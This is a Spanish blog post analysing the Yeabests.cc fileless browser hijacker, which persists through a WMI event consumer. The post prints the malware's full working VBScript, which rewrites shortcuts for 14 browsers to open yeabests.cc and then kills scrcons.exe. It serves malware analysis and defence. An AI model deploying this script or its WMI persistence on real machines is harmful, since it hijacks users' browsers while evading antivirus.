Yeabests.cc: secuestrando el navegador con WMI y sin ficheros

Seguro que lo habéis sufrido o visto en algún sitio... el usuario que se queja de que cada vez que lanza el navegador se le abre una página extraña (normalmente un buscador de dudosa reputación) y, aunque la quita como página de inicio, vuelve una y otra vez a aparecer. Véase por ejemplo:


Se trata del tipo de malware conocido como browser hijacker y ya sabéis lo molesto y peligroso que resulta, más aún aquellos que no dejan rastro en el sistema de ficheros (fileless).

Un ejemplo de ello y que leía ayer en un artículo de Djordje Lukic, un analista de malware de Zemana, es el que infecta a la víctima haciendo que todos lo accesos directos de los navegadores lleven como parámetro yeabests.cc:
 


Lo interesante es que para llevarlo a cabo utiliza WMI. Concretamente se registra así mismo como una instancia llamada ASEC en la clase ActiveScriptEventConsumer que contiene un VBScript que es ejecutado por scrcons.exe (WMI Standard Event Consumer) cada 10 segundos.

Podéis verlo mediante wbemtest.exe o con la app WMI Explorer de CodePlex:



Y el susodicho código del VBScript:

Dim objFS
Set objFS = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Const link = "http://yeabests.cc"
browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe")
Set BrowserDic = CreateObject("scripting.dictionary")
For Each browser In browsers
    BrowserDic.Add LCase(browser), browser
Next
Dim FoldersDic(12)
Set WshShell = CreateObject("Wscript.Shell")
FoldersDic(0) = "C:\Users\Public\Desktop"
FoldersDic(1) = "C:\ProgramData\Microsoft\Windows\Start Menu"
FoldersDic(2) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
FoldersDic(3) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(4) = "C:\Users\User\Desktop"
FoldersDic(5) = "C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu"
FoldersDic(6) = "C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
FoldersDic(7) = "C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(8) = "C:\Users\User\AppData\Roaming\Roaming"
FoldersDic(9) = "C:\Users\User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch"
FoldersDic(10) = "C:\Users\User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu"
FoldersDic(11) = "C:\Users\User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
Set fso = CreateObject("Scripting.Filesystemobject")
For i = 0 To UBound(FoldersDic)
    For Each file In fso.GetFolder(FoldersDic(i)).Files
        If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
            set oShellLink = WshShell.CreateShortcut(file.Path)
            path = oShellLink.TargetPath
            name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
            If BrowserDic.Exists(LCase(name)) Then
                oShellLink.Arguments = link
                If file.Attributes And 1 Then
                    file.Attributes = file.Attributes - 1
                End If
                oShellLink.Save
            End If
        End If
    Next
Next
createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0

Como veis (os subrayo en amarillo) el malware puede secuestrar hasta 14 navegadores distintos y, dado que el instalador de esta infección se borra a sí mismo cuando se ejecuta, no crea ningún archivo en el disco duro y sólo reside en el WMI, haciendo que la mayoría de AV no sean capaces de detectarlo.
 

pd. Tenéis las instrucciones para borrarlo manualmente en cada una de las fuentes de este artículo:

Fuentes:
- Yeabests.cc Fileless Browser Hijacker 
- Yeabests.cc: A fileless infection using WMI to hijack your Browser

Comentarios